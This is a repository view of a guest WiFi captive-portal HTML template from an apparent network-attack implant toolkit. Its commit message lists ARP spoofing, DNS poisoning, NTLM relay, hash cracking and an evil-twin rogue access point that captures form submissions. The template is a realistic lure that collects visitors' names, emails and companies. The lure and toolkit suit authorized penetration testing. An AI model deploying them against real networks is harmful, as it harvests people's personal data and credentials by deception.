Files
bigbrother/templates/captive_portals/guest_wifi.html
T
n0mad1k ba5143b560 Phase 4: Active modules, templates, and operator scripts
Active modules (9 files in modules/active/):
- bettercap_mgr: Central bettercap orchestrator with REST API health
  monitoring, event stream parsing, crash recovery with corrective
  gratuitous ARPs, caplet management, and process disguise
- arp_spoof: Thin bettercap wrapper for ARP spoofing with OPSEC warnings
- dns_poison: DNS poisoning with zone template loading support
- dhcp_spoof: DHCPv6 spoofing via bettercap for rogue DNS injection
- evil_twin: hostapd-based rogue AP with captive portal and dnsmasq,
  iptables redirect, credential capture via HTTP POST handler
- ipv6_slaac: IPv6 SLAAC spoofing via bettercap + mitm6 WPAD abuse
- responder_mgr: Responder subprocess manager with hash file monitoring,
  NTLMv1/v2 parsing, session log scanning, relay target coordination
- mitmproxy_mgr: Transparent proxy with addon scripts, tier checking
  (OPi Zero 3+ only), iptables setup, credential/token extraction
- ntlm_relay: ntlmrelayx wrapper with multi-protocol relay (SMB, LDAP,
  LDAPS, HTTP, MSSQL, ADCS), Responder exclusion coordination, SOCKS

Templates (9 files):
- 4 captive portals: corporate SSO, guest WiFi, Outlook/M365, VPN
  (self-contained HTML with inline CSS, realistic login forms)
- 2 DNS zones: redirect-all and selective Jinja2 template
- 2 hostapd configs: open AP and WPA2-PSK Jinja2 templates
- 1 Responder.conf Jinja2 template with protocol toggles

Operator scripts (6 files in scripts/operator/):
- pull_data.sh: rsync structured data over WireGuard/Tailscale
- extract_files.sh: tshark HTTP/SMB/FTP/TFTP file extraction
- extract_print_jobs.sh: TCP/9100 print job reconstruction + PDF convert
- extract_emails.sh: SMTP email extraction with attachment detection
- crack_hashes.sh: Export creds to hashcat format, optional auto-crack
- generate_report.py: SQLite-to-Markdown/HTML engagement report generator
2026-03-18 13:48:11 -04:00

87 lines
4.4 KiB
HTML

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Guest WiFi Access</title>
<style>
*{margin:0;padding:0;box-sizing:border-box}
body{font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,Oxygen,Ubuntu,sans-serif;background:linear-gradient(135deg,#667eea 0%,#764ba2 100%);display:flex;justify-content:center;align-items:center;min-height:100vh}
.portal{background:#fff;border-radius:16px;box-shadow:0 20px 60px rgba(0,0,0,.15);padding:40px;width:100%;max-width:480px}
.header{text-align:center;margin-bottom:28px}
.header .wifi-icon{font-size:48px;margin-bottom:12px}
.header h1{font-size:24px;color:#1a1a2e;font-weight:700}
.header p{font-size:14px;color:#666;margin-top:6px;line-height:1.5}
.terms-box{background:#f8f9fa;border:1px solid #e9ecef;border-radius:10px;padding:20px;margin-bottom:24px;max-height:160px;overflow-y:auto;font-size:12px;color:#555;line-height:1.6}
.terms-box h3{font-size:13px;color:#333;margin-bottom:8px}
.form-group{margin-bottom:18px}
.form-group label{display:block;font-size:13px;font-weight:500;color:#333;margin-bottom:5px}
.form-group input,.form-group select{width:100%;padding:11px 14px;border:1px solid #ddd;border-radius:8px;font-size:14px;outline:none;transition:border-color .2s}
.form-group input:focus,.form-group select:focus{border-color:#667eea;box-shadow:0 0 0 3px rgba(102,126,234,.12)}
.checkbox-group{display:flex;align-items:flex-start;gap:8px;margin-bottom:20px}
.checkbox-group input[type=checkbox]{margin-top:3px;width:16px;height:16px;accent-color:#667eea}
.checkbox-group label{font-size:13px;color:#555;line-height:1.4}
.btn-connect{width:100%;padding:14px;background:linear-gradient(135deg,#667eea,#764ba2);color:#fff;border:none;border-radius:10px;font-size:16px;font-weight:600;cursor:pointer;transition:opacity .2s}
.btn-connect:hover{opacity:.9}
.btn-connect:disabled{opacity:.5;cursor:not-allowed}
.duration{text-align:center;margin-top:16px;font-size:12px;color:#999}
.row{display:flex;gap:12px}
.row .form-group{flex:1}
</style>
</head>
<body>
<div class="portal">
<div class="header">
<div class="wifi-icon">&#128246;</div>
<h1>Guest WiFi Access</h1>
<p>Welcome! Please register to connect to our guest network.</p>
</div>
<form method="POST" action="/" id="guestForm">
<div class="row">
<div class="form-group">
<label for="first_name">First Name</label>
<input type="text" id="first_name" name="first_name" placeholder="John" required>
</div>
<div class="form-group">
<label for="last_name">Last Name</label>
<input type="text" id="last_name" name="last_name" placeholder="Smith" required>
</div>
</div>
<div class="form-group">
<label for="email">Email Address</label>
<input type="email" id="email" name="email" placeholder="john.smith@example.com" required>
</div>
<div class="form-group">
<label for="company">Company / Organization</label>
<input type="text" id="company" name="company" placeholder="Acme Corp">
</div>
<div class="form-group">
<label for="reason">Purpose of Visit</label>
<select id="reason" name="reason">
<option value="meeting">Meeting / Appointment</option>
<option value="vendor">Vendor / Contractor</option>
<option value="interview">Interview</option>
<option value="event">Event / Conference</option>
<option value="other">Other</option>
</select>
</div>
<div class="terms-box">
<h3>Terms of Use</h3>
<p>By connecting to this wireless network, you agree to the following terms and conditions:</p>
<p>1. This network is provided for authorized guest use only. All network activity may be monitored and recorded for security purposes.</p>
<p>2. Users must not attempt to access unauthorized systems, intercept network traffic, or engage in any activity that violates applicable laws.</p>
<p>3. The organization reserves the right to terminate access at any time without notice.</p>
<p>4. This is an unsecured network. Users connect at their own risk. The organization is not responsible for any data loss or security incidents.</p>
<p>5. Access is limited to 24 hours. Contact the front desk for extensions.</p>
</div>
<div class="checkbox-group">
<input type="checkbox" id="accept_terms" name="accept_terms" required>
<label for="accept_terms">I accept the Terms of Use and acknowledge that network activity may be monitored.</label>
</div>
<button type="submit" class="btn-connect">Connect to WiFi</button>
</form>
<div class="duration">Access valid for 24 hours from registration.</div>
</div>
</body>
</html>